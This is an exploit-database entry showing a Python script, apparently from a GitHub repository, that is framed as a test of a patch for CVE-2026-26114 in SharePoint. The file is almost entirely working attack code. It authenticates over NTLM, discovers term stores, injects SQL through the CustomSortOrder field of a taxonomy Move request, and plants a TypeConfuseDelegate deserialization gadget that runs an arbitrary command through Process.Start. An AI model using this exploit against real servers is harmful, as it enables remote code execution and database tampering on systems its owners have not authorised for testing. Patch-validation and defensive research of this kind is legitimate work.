Exploit database

GH-845e8e5795fbb388e396348487fbf351

fazilbaig1/cve-2026-26114-patch

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-26114

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2026-26114-FAC/exploit/advanced_patch_test.py

Python · 30,591 bytes
#!/usr/bin/env python3
"""
CVE-2026-26114 ADVANCED PATCH VALIDATION EXPLOIT
=================================================
Tests our patch against the EXACT real-world attack chain.
Runs from attacker machine → targets patched SharePoint VM.

Tests 4 attack techniques:
  1. Original CVE PoC (TypeConfuseDelegate via taxonomy SQLi)
  2. Alternative gadget chain (SortedSet without TypeConfuseDelegate)
  3. Binary NDCS encoding attempt
  4. Marker file verification (did RCE execute?)

Expected on PATCHED system: ALL attacks BLOCKED, no marker files created.
"""
from __future__ import annotations

import argparse
import binascii
import json
import sys
import time
import uuid
import os
from typing import Any, Dict, List, Optional, Tuple
from urllib.parse import urljoin
from xml.sax.saxutils import escape as xml_escape

import requests

TAXONOMY_SESSION_TYPEID = "{981cbc68-9edc-4f8d-872f-71146fcbb84f}"
DEFAULT_TASK_TYPE = (
    "Microsoft.SharePoint.Lifecycle.FinalFixupTask, Microsoft.SharePoint, "
    "Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"
)
HEADER_JSON = {"Accept": "application/json;odata=verbose"}

# Colors for terminal
class C:
    RED = "\033[91m"
    GREEN = "\033[92m"
    YELLOW = "\033[93m"
    CYAN = "\033[96m"
    WHITE = "\033[97m"
    BOLD = "\033[1m"
    END = "\033[0m"

def banner():
    print(f"{C.CYAN}{C.BOLD}")
    print("  ===========================================================")
    print("  CVE-2026-26114 ADVANCED PATCH VALIDATION EXPLOIT")
    print("  Testing multi-layer defense patch against real attacks")
    print(f"  ==========================================================={C.END}")
    print()

def log(msg, level="INFO"):
    symbols = {"INFO": f"{C.GREEN}[+]", "WARN": f"{C.YELLOW}[!]", 
               "ERR": f"{C.RED}[X]", "STEP": f"{C.CYAN}[>]",
               "PASS": f"{C.GREEN}[PASS]", "FAIL": f"{C.RED}[FAIL]",
               "TEST": f"{C.YELLOW}[TEST]"}
    sym = symbols.get(level, f"{C.WHITE}[*]")
    print(f"  {sym} {msg}{C.END}")


# --------------------------------------------------------------------------- auth
def make_session(base_url, user, password, domain, proxy, insecure):
    s = requests.Session()
    s.verify = not insecure
    if proxy:
        s.proxies.update({"http": proxy, "https": proxy})
    login = user
    if domain and "\\" not in user and "@" not in user:
        login = f"{domain}\\{user}"
    try:
        from requests_ntlm import HttpNtlmAuth
    except ImportError:
        raise SystemExit("[-] pip install requests-ntlm")
    s.auth = HttpNtlmAuth(login, password)
    return s


def endpoint(base_url, *segs):
    return urljoin(base_url.rstrip("/") + "/", "/".join(segs))

def api_get_json(s, base_url, *segs, **params):
    r = s.get(endpoint(base_url, *segs), headers=HEADER_JSON, params=params or None, timeout=30)
    if r.status_code == 401:
        raise SystemExit(f"[-] auth failed (401)")
    r.raise_for_status()
    return r.json()

def contextinfo(s, base_url):
    r = s.post(endpoint(base_url, "_api", "contextinfo"),
               headers={"Accept": "application/json;odata=verbose"}, timeout=30)
    r.raise_for_status()
    return r.json()["d"]["GetContextWebInformation"]["FormDigestValue"]

def process_query(s, base_url, digest, xml, timeout=240):
    start = time.perf_counter()
    r = s.post(endpoint(base_url, "_vti_bin", "client.svc", "ProcessQuery"),
               headers={"X-RequestDigest": digest, "Content-Type": "text/xml"},
               data=xml.encode("utf-8"), timeout=timeout)
    return r, time.perf_counter() - start

def pq_error(r):
    try:
        for it in r.json():
            err = it.get("ErrorInfo") if isinstance(it, dict) else None
            if err: return err
    except: pass
    return None

def pq_guid(raw):
    s = str(raw)
    if s.startswith("/Guid(") and s.endswith(")/"):
        return s[6:-2]
    return s.strip("{}")


# ----------------------------------------------------------------- taxonomy
def csom_create_termset(store_id, group_id, name, termset_id=None):
    termset_id = termset_id or str(uuid.uuid4())
    return f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="patchtest">
 <Actions>
  <ObjectPath Id="10" ObjectPathId="6" />
  <ObjectIdentityQuery Id="11" ObjectPathId="6" />
  <Method Id="12" ObjectPathId="3" Name="CommitAll" />
 </Actions>
 <ObjectPaths>
  <StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{TAXONOMY_SESSION_TYPEID}" />
  <Property Id="2" ParentId="1" Name="TermStores" />
  <Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{xml_escape(store_id)}</Parameter></Parameters></Method>
  <Property Id="4" ParentId="3" Name="Groups" />
  <Method Id="5" ParentId="4" Name="GetById"><Parameters><Parameter Type="Guid">{xml_escape(group_id)}</Parameter></Parameters></Method>
  <Method Id="6" ParentId="5" Name="CreateTermSet"><Parameters>
   <Parameter Type="String">{xml_escape(name)}</Parameter>
   <Parameter Type="Guid">{{{xml_escape(termset_id)}}}</Parameter>
   <Parameter Type="Int32">1033</Parameter>
  </Parameters></Method>
 </ObjectPaths>
</Request>"""

def csom_create_term(store_id, termset_id, name, term_id=None):
    term_id = term_id or str(uuid.uuid4())
    return f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="patchtest">
 <Actions>
  <ObjectPath Id="10" ObjectPathId="4" />
  <ObjectPath Id="11" ObjectPathId="5" />
  <ObjectIdentityQuery Id="12" ObjectPathId="5" />
  <Method Id="13" ObjectPathId="3" Name="CommitAll" />
 </Actions>
 <ObjectPaths>
  <StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{TAXONOMY_SESSION_TYPEID}" />
  <Property Id="2" ParentId="1" Name="TermStores" />
  <Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{xml_escape(store_id)}</Parameter></Parameters></Method>
  <Method Id="4" ParentId="3" Name="GetTermSet"><Parameters><Parameter Type="Guid">{xml_escape(termset_id)}</Parameter></Parameters></Method>
  <Method Id="5" ParentId="4" Name="CreateTerm"><Parameters>
   <Parameter Type="String">{xml_escape(name)}</Parameter>
   <Parameter Type="Int32">1033</Parameter>
   <Parameter Type="Guid">{{{xml_escape(term_id)}}}</Parameter>
  </Parameters></Method>
 </ObjectPaths>
</Request>"""

def csom_move_sqli(store_id, src_termset, term, dst_termset, custom_sort_order):
    return f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="patchtest">
 <Actions>
  <ObjectPath Id="10" ObjectPathId="3" />
  <ObjectPath Id="11" ObjectPathId="4" />
  <ObjectPath Id="12" ObjectPathId="5" />
  <SetProperty Id="13" ObjectPathId="4" Name="CustomSortOrder"><Parameter Type="String">{xml_escape(custom_sort_order)}</Parameter></SetProperty>
  <Method Id="14" ObjectPathId="4" Name="Move"><Parameters><Parameter ObjectPathId="5" /></Parameters></Method>
  <Method Id="15" ObjectPathId="3" Name="CommitAll" />
 </Actions>
 <ObjectPaths>
  <StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{TAXONOMY_SESSION_TYPEID}" />
  <Property Id="2" ParentId="1" Name="TermStores" />
  <Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{xml_escape(store_id)}</Parameter></Parameters></Method>
  <Method Id="4" ParentId="3" Name="GetTermInTermSet"><Parameters>
   <Parameter Type="Guid">{xml_escape(src_termset)}</Parameter>
   <Parameter Type="Guid">{xml_escape(term)}</Parameter>
  </Parameters></Method>
  <Method Id="5" ParentId="3" Name="GetTermSet"><Parameters><Parameter Type="Guid">{xml_escape(dst_termset)}</Parameter></Parameters></Method>
 </ObjectPaths>
</Request>"""


# ----------------------------------------------------------------- discovery
def discover_site(s, base_url):
    site_id = api_get_json(s, base_url, "_api", "site", **{"$select": "Id"})["d"]["Id"]
    web_id = api_get_json(s, base_url, "_api", "web", **{"$select": "Id"})["d"]["Id"]
    return site_id, web_id

def discover_user(s, base_url):
    return int(api_get_json(s, base_url, "_api", "web", "currentuser")["d"]["Id"])

def discover_taxonomy(s, base_url, digest):
    xml_stores = f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="patchtest">
 <Actions><ObjectPath Id="10" ObjectPathId="2" /><Query Id="11" ObjectPathId="2"><Query SelectAllProperties="false"><Properties /></Query>
  <ChildItemQuery SelectAllProperties="false"><Properties><Property Name="Id" ScalarProperty="true" /><Property Name="Name" ScalarProperty="true" /></Properties></ChildItemQuery></Query></Actions>
 <ObjectPaths><StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{TAXONOMY_SESSION_TYPEID}" /><Property Id="2" ParentId="1" Name="TermStores" /></ObjectPaths></Request>"""
    r, _ = process_query(s, base_url, digest, xml_stores)
    stores = []
    for it in r.json():
        if isinstance(it, dict) and it.get("_ObjectType_") == "SP.Taxonomy.TermStoreCollection":
            for st in it.get("_Child_Items_", []):
                stores.append({"id": pq_guid(st["Id"]), "name": st["Name"]})
    if not stores:
        raise SystemExit("[-] no term store visible")
    
    for st in stores:
        xml_g = f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="patchtest">
 <Actions><ObjectPath Id="10" ObjectPathId="4" /><Query Id="11" ObjectPathId="4"><Query SelectAllProperties="false"><Properties /></Query>
  <ChildItemQuery SelectAllProperties="false"><Properties><Property Name="Id" ScalarProperty="true" /><Property Name="Name" ScalarProperty="true" /></Properties></ChildItemQuery></Query></Actions>
 <ObjectPaths><StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{TAXONOMY_SESSION_TYPEID}" /><Property Id="2" ParentId="1" Name="TermStores" />
  <Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{{{xml_escape(st['id'])}}}</Parameter></Parameters></Method><Property Id="4" ParentId="3" Name="Groups" /></ObjectPaths></Request>"""
        rg, _ = process_query(s, base_url, digest, xml_g)
        if pq_error(rg): continue
        for it in rg.json():
            if isinstance(it, dict) and it.get("_ObjectType_") == "SP.Taxonomy.TermGroupCollection":
                for gr in it.get("_Child_Items_", []):
                    gid, gname = pq_guid(gr["Id"]), gr["Name"]
                    if gname.lower() == "system": continue
                    return st["id"], st["name"], gid, gname
    raise SystemExit("[-] no writable taxonomy group found")


# ----------------------------------------------------------------- inject
def inject(s, base_url, digest, store_id, group_id, sql_batch, timeout=300):
    src = str(uuid.uuid4())
    dst = str(uuid.uuid4())
    term = str(uuid.uuid4())
    for tsid, nm in [(src, "PT" + uuid.uuid4().hex[:12]), (dst, "PT" + uuid.uuid4().hex[:12])]:
        rx, _ = process_query(s, base_url, digest, csom_create_termset(store_id, group_id, nm, tsid))
        if pq_error(rx):
            return None, 0, f"CreateTermSet failed: {pq_error(rx).get('ErrorMessage','')}"
    rt, _ = process_query(s, base_url, digest, csom_create_term(store_id, src, "T" + uuid.uuid4().hex[:12], term))
    if pq_error(rt):
        return None, 0, f"CreateTerm failed: {pq_error(rt).get('ErrorMessage','')}"
    payload = f"x'; {sql_batch} -- "
    r, elapsed = process_query(s, base_url, digest,
                               csom_move_sqli(store_id, src, term, dst, payload), timeout)
    err = pq_error(r)
    return r, elapsed, err


# ----------------------------------------------------------------- NDCS payloads
def ndcs_typeconfuse_payload(command):
    """Original TypeConfuseDelegate gadget chain."""
    first = command.find(" ")
    file_name = command[:first] if first >= 0 else command
    arguments = command[first + 1:] if first >= 0 else ""
    a, b = sorted([file_name, arguments])
    
    def node(idx, val):
        ns = 'xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"'
        if not val: return f'<string z:Id="{idx}" {ns}/>'
        return f'<string z:Id="{idx}" {ns}>{xml_escape(val)}</string>'
    
    xml = (
        '<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib]]" z:Assembly="System, Version=4.0.0.0" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">'
        '<Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count>'
        '<Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib]]" z:Assembly="0" xmlns="">'
        '<_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns:a="http://schemas.datacontract.org/2004/07/System">'
        '<Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns="">'
        '<a:assembly z:Id="6">mscorlib, Version=4.0.0.0</a:assembly>'
        '<a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/>'
        '<a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/>'
        '<a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName>'
        '<a:type z:Id="10">System.Comparison`1[[System.String, mscorlib]]</a:type></a:delegateEntry>'
        '<a:methodName z:Id="11">Start</a:methodName><a:target i:nil="true"/>'
        '<a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0</a:targetTypeAssembly>'
        '<a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName>'
        '<a:type z:Id="14">System.Func`3[[System.String],[System.String],[System.Diagnostics.Process]]</a:type></Delegate>'
        '<method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">'
        '<Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/>'
        '<Signature z:Id="16">System.Diagnostics.Process Start(System.String, System.String)</Signature>'
        '<MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0>'
        '<method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">'
        '<Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/>'
        '<Signature z:Id="20">Int32 Compare(System.String, System.String)</Signature>'
        '<MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1>'
        '</_comparison></Comparer>'
        '<Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version>'
        f'<Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns="">'
        f'{node(25, a)}{node(26, b)}</Items></ArrayOfstring>'
    )
    return xml.encode("utf-8")


def build_insert_sql(taskdata_hex, site_id, web_id, creator_id, task_type, 
                     content_db, marker_name):
    """Build the SQL injection batch that inserts into AppTasks."""
    job_id = str(uuid.uuid4())
    task_id = str(uuid.uuid4())
    db = content_db.replace("]", "]]")
    return f"""USE [{db}];
DECLARE @SiteId uniqueidentifier = '{site_id}';
DECLARE @JobId uniqueidentifier = '{job_id}';
DECLARE @TaskId uniqueidentifier = '{task_id}';
DECLARE @InstId uniqueidentifier = NEWID();
INSERT INTO dbo.AppInstallations (Id,Status,InError,SourceInfoId,WebId,CreationTime,SiteSubscriptionId,LastJobOperation,WasLastJobCancelled,WasLastJobManuallyCancelled,IsIconHosted,CreatorId,DisableAuthority,InstallationLocale,SiteId)
VALUES (@InstId,5,0,NEWID(),'{web_id}',GETUTCDATE(),'00000000-0000-0000-0000-000000000000',0,0,0,0,{creator_id},0,1033,@SiteId); WHILE @@TRANCOUNT>0 COMMIT;
INSERT INTO dbo.AppJobs (Id,InstallationId,Operation,IsCancelled,IsManuallyCancelled,IsCommitted,CreationTime,JobCreatorId,SiteId)
VALUES (@JobId,@InstId,1,0,0,1,GETUTCDATE(),{creator_id},@SiteId); WHILE @@TRANCOUNT>0 COMMIT;
INSERT INTO dbo.AppTasks (JobId,TaskId,TaskType,TaskData,PulledTime,FinishedTime,Retries,TaskCloneId,EstimatedDurationMinutes,RegisteredTime,TimeoutTime,IsRollback,TaskOperation,CancelledWhileInProgress,LastPullerHostName,IsolationKey,SiteId)
VALUES (@JobId,@TaskId,'{task_type}',0x{taskdata_hex},NULL,NULL,0,NULL,1,GETUTCDATE(),NULL,0,1,0,NULL,NEWID(),@SiteId); WHILE @@TRANCOUNT>0 COMMIT;
WAITFOR DELAY '00:00:02';""", task_id


# ----------------------------------------------------------------- main
def main():
    banner()
    
    ap = argparse.ArgumentParser(description="CVE-2026-26114 Advanced Patch Validation")
    ap.add_argument("--target", required=True, help="SharePoint URL e.g. http://192.168.29.214:5555")
    ap.add_argument("--username", required=True)
    ap.add_argument("--password", required=True)
    ap.add_argument("--domain", default="")
    ap.add_argument("--proxy", default=None)
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--content-db", default="WSS_Content")
    args = ap.parse_args()
    
    results = []
    
    # ═══════════════════════════════════════════════════════
    # PHASE 1: Connect and discover
    # ═══════════════════════════════════════════════════════
    log("PHASE 1: Connecting to target...", "STEP")
    try:
        s = make_session(args.target, args.username, args.password, args.domain, args.proxy, args.insecure)
        digest = contextinfo(s, args.target)
        log(f"Authenticated, digest: {digest[:20]}...")
        
        site_id, web_id = discover_site(s, args.target)
        creator_id = discover_user(s, args.target)
        log(f"SiteId={site_id}")
        log(f"WebId={web_id}")
        log(f"CreatorId={creator_id}")
        
        store_id, store_name, group_id, group_name = discover_taxonomy(s, args.target, digest)
        log(f"TermStore: {store_name} ({store_id})")
        log(f"Group: {group_name} ({group_id})")
    except Exception as e:
        log(f"Discovery failed: {e}", "ERR")
        return 1
    
    content_db = args.content_db
    
    # ═══════════════════════════════════════════════════════
    # ATTACK 1: Original CVE PoC (TypeConfuseDelegate)
    # This tests: Microsoft GUID patch + our trigger
    # ═══════════════════════════════════════════════════════
    print()
    log("ATTACK 1: Original CVE-2026-26114 (TypeConfuseDelegate via SQLi)", "TEST")
    log("Expected: BLOCKED by Microsoft GUID validation OR our trigger")
    
    marker1 = "C:\\Windows\\Temp\\patch_test_attack1.txt"
    command1 = f"cmd /c whoami > {marker1}"
    taskdata1 = ndcs_typeconfuse_payload(command1)
    taskdata1_hex = binascii.hexlify(taskdata1).decode()
    sql1, tid1 = build_insert_sql(taskdata1_hex, site_id, web_id, creator_id,
                                   DEFAULT_TASK_TYPE, content_db, "attack1")
    
    try:
        r1, elapsed1, err1 = inject(s, args.target, digest, store_id, group_id, sql1)
        if r1 is None:
            log(f"Injection setup failed: {err1}", "INFO")
            results.append(("ATTACK 1: Original CVE PoC", "BLOCKED", "Setup failed (likely GUID validation)"))
        elif err1:
            err_msg = err1.get('ErrorMessage', '') if isinstance(err1, dict) else str(err1)
            if 'Guid' in err_msg or 'guid' in err_msg or 'format' in err_msg.lower():
                log(f"BLOCKED by Microsoft GUID validation!", "PASS")
                results.append(("ATTACK 1: Original CVE PoC", "BLOCKED", "Microsoft GUID validation"))
            else:
                log(f"CSOM error: {err_msg[:80]}", "INFO")
                results.append(("ATTACK 1: Original CVE PoC", "BLOCKED", f"CSOM error: {err_msg[:60]}"))
        else:
            if elapsed1 >= 2.0:
                log(f"SQL batch MAY have executed ({elapsed1:.1f}s) - checking marker...", "WARN")
                results.append(("ATTACK 1: Original CVE PoC", "NEEDS_CHECK", "SQL ran, check marker file"))
            else:
                log(f"SQL batch likely blocked ({elapsed1:.1f}s)", "PASS")
                results.append(("ATTACK 1: Original CVE PoC", "BLOCKED", f"Quick response ({elapsed1:.1f}s)"))
    except Exception as e:
        log(f"Attack 1 error: {e}", "INFO")
        results.append(("ATTACK 1: Original CVE PoC", "BLOCKED", str(e)[:60]))
    
    # ═══════════════════════════════════════════════════════
    # ATTACK 2: Non-Microsoft TaskType
    # Tests our ALLOWLIST check
    # ═══════════════════════════════════════════════════════
    print()
    log("ATTACK 2: Custom TaskType (bypassing Microsoft namespace)", "TEST")
    log("Expected: BLOCKED by our ALLOWLIST trigger")
    
    marker2 = "C:\\Windows\\Temp\\patch_test_attack2.txt"
    command2 = f"cmd /c whoami > {marker2}"
    taskdata2 = ndcs_typeconfuse_payload(command2)
    taskdata2_hex = binascii.hexlify(taskdata2).decode()
    evil_task_type = "EvilCorp.Exploit.RCETask, EvilAssembly, Version=1.0.0.0"
    sql2, tid2 = build_insert_sql(taskdata2_hex, site_id, web_id, creator_id,
                                   evil_task_type, content_db, "attack2")
    
    try:
        r2, elapsed2, err2 = inject(s, args.target, digest, store_id, group_id, sql2)
        if r2 is None:
            results.append(("ATTACK 2: Custom TaskType", "BLOCKED", "Setup failed"))
        elif err2:
            err_msg = err2.get('ErrorMessage', '') if isinstance(err2, dict) else str(err2)
            results.append(("ATTACK 2: Custom TaskType", "BLOCKED", f"CSOM: {err_msg[:60]}"))
        else:
            results.append(("ATTACK 2: Custom TaskType", "NEEDS_CHECK", "SQL may have run"))
    except Exception as e:
        results.append(("ATTACK 2: Custom TaskType", "BLOCKED", str(e)[:60]))
    
    log("Attack 2 sent", "INFO")
    
    # ═══════════════════════════════════════════════════════
    # ATTACK 3: CDATA-split gadget name 
    # Tests our CDATA detection
    # ═══════════════════════════════════════════════════════
    print()
    log("ATTACK 3: CDATA-split gadget name bypass", "TEST")
    log("Expected: BLOCKED by our CDATA detection")
    
    marker3 = "C:\\Windows\\Temp\\patch_test_attack3.txt"
    # Craft a payload with CDATA sections splitting the gadget name
    cdata_payload = '<root><![CDATA[TypeConfuse]]><![CDATA[Delegate]]><cmd>cmd /c whoami > ' + marker3 + '</cmd></root>'
    cdata_hex = binascii.hexlify(cdata_payload.encode()).decode()
    sql3, tid3 = build_insert_sql(cdata_hex, site_id, web_id, creator_id,
                                   DEFAULT_TASK_TYPE, content_db, "attack3")
    
    try:
        r3, elapsed3, err3 = inject(s, args.target, digest, store_id, group_id, sql3)
        if r3 is None:
            results.append(("ATTACK 3: CDATA split", "BLOCKED", "Setup failed"))
        elif err3:
            err_msg = err3.get('ErrorMessage', '') if isinstance(err3, dict) else str(err3)
            results.append(("ATTACK 3: CDATA split", "BLOCKED", f"CSOM: {err_msg[:60]}"))
        else:
            results.append(("ATTACK 3: CDATA split", "NEEDS_CHECK", "SQL may have run"))
    except Exception as e:
        results.append(("ATTACK 3: CDATA split", "BLOCKED", str(e)[:60]))
    
    log("Attack 3 sent", "INFO")
    
    # ═══════════════════════════════════════════════════════
    # ATTACK 4: Oversized payload (>2KB)
    # Tests our SIZE_LIMIT check
    # ═══════════════════════════════════════════════════════
    print()
    log("ATTACK 4: Oversized payload (5KB, exceeds 2KB limit)", "TEST")
    log("Expected: BLOCKED by our SIZE_LIMIT trigger")
    
    marker4 = "C:\\Windows\\Temp\\patch_test_attack4.txt"
    big_payload = '<Config>' + ('A' * 5000) + '</Config>'
    big_hex = binascii.hexlify(big_payload.encode()).decode()
    sql4, tid4 = build_insert_sql(big_hex, site_id, web_id, creator_id,
                                   DEFAULT_TASK_TYPE, content_db, "attack4")
    
    try:
        r4, elapsed4, err4 = inject(s, args.target, digest, store_id, group_id, sql4)
        if r4 is None:
            results.append(("ATTACK 4: Oversized payload", "BLOCKED", "Setup failed"))
        elif err4:
            err_msg = err4.get('ErrorMessage', '') if isinstance(err4, dict) else str(err4)
            results.append(("ATTACK 4: Oversized payload", "BLOCKED", f"CSOM: {err_msg[:60]}"))
        else:
            results.append(("ATTACK 4: Oversized payload", "NEEDS_CHECK", "SQL may have run"))
    except Exception as e:
        results.append(("ATTACK 4: Oversized payload", "BLOCKED", str(e)[:60]))
    
    log("Attack 4 sent", "INFO")
    
    # ═══════════════════════════════════════════════════════
    # PHASE 2: Wait and verify marker files
    # ═══════════════════════════════════════════════════════
    print()
    log("PHASE 2: Waiting 20s for OWSTIMER to process any tasks...", "STEP")
    time.sleep(20)
    
    log("PHASE 3: Checking for marker files on target...", "STEP")
    markers = [marker1, marker2, marker3, marker4]
    marker_names = ["Attack1", "Attack2", "Attack3", "Attack4"]
    
    # Check markers via SMB
    try:
        for i, (marker, name) in enumerate(zip(markers, marker_names)):
            # Convert C:\Windows\Temp\file to \\target\C$\Windows\Temp\file
            unc_path = f"\\\\{args.target.split('//')[1].split(':')[0]}\\C$\\{marker[3:]}"
            try:
                if os.path.exists(unc_path):
                    log(f"{name}: MARKER FILE EXISTS! RCE SUCCEEDED! Patch FAILED!", "FAIL")
                    # Update result
                    for j, (rname, rstatus, rdetail) in enumerate(results):
                        if name.lower() in rname.lower():
                            results[j] = (rname, "BYPASSED", "Marker file found - RCE executed!")
                else:
                    log(f"{name}: No marker file. RCE was BLOCKED!", "PASS")
                    for j, (rname, rstatus, rdetail) in enumerate(results):
                        if rstatus == "NEEDS_CHECK" and name.lower().replace("attack","attack ") in rname.lower():
                            results[j] = (rname, "BLOCKED", "No marker file - trigger or SerializationGuard blocked it")
            except Exception:
                log(f"{name}: Cannot check SMB path (check manually on VM)", "WARN")
    except Exception as e:
        log(f"SMB check failed: {e}. Check marker files manually on VM.", "WARN")
    
    # ═══════════════════════════════════════════════════════
    # FINAL REPORT
    # ═══════════════════════════════════════════════════════
    print()
    print(f"{C.CYAN}{C.BOLD}")
    print("  ============================================================")
    print("  PATCH VALIDATION RESULTS")
    print("  ============================================================")
    print(f"{C.END}")
    
    passed = 0
    failed = 0
    for name, status, detail in results:
        if status == "BLOCKED":
            print(f"  {C.GREEN}[PASS]{C.END} {name}")
            print(f"         {C.WHITE}{detail}{C.END}")
            passed += 1
        elif status == "BYPASSED":
            print(f"  {C.RED}[FAIL]{C.END} {name}")
            print(f"         {C.RED}{detail}{C.END}")
            failed += 1
        else:
            print(f"  {C.YELLOW}[????]{C.END} {name}")
            print(f"         {C.YELLOW}{detail}{C.END}")
    
    print()
    print(f"  {C.BOLD}Passed: {passed}/{len(results)}")
    print(f"  Failed: {failed}/{len(results)}{C.END}")
    print()
    
    if failed == 0:
        print(f"  {C.GREEN}{C.BOLD}>>> ALL ATTACKS DEFEATED! PATCH IS WORKING! <<<{C.END}")
        print()
        print(f"  {C.CYAN}Defense layers that protected:")
        print(f"    Layer 1: Microsoft KB5002845 (GUID validation on CustomSortOrder)")
        print(f"    Layer 2: INSTEAD OF INSERT trigger (7 independent checks)")
        print(f"    Layer 3: .NET SerializationGuard (blocks dangerous types)")
        print(f"    Combined: ROOT CAUSE FIXED{C.END}")
    else:
        print(f"  {C.RED}{C.BOLD}>>> SOME ATTACKS SUCCEEDED! PATCH NEEDS WORK! <<<{C.END}")
    
    print()
    print(f"  {C.WHITE}Check these marker files on VM to confirm:")
    for m in markers:
        print(f"    dir {m}")
    print(f"  If NONE exist = patch is working 100%{C.END}")
    print()
    
    return 0 if failed == 0 else 1


if __name__ == "__main__":
    sys.exit(main())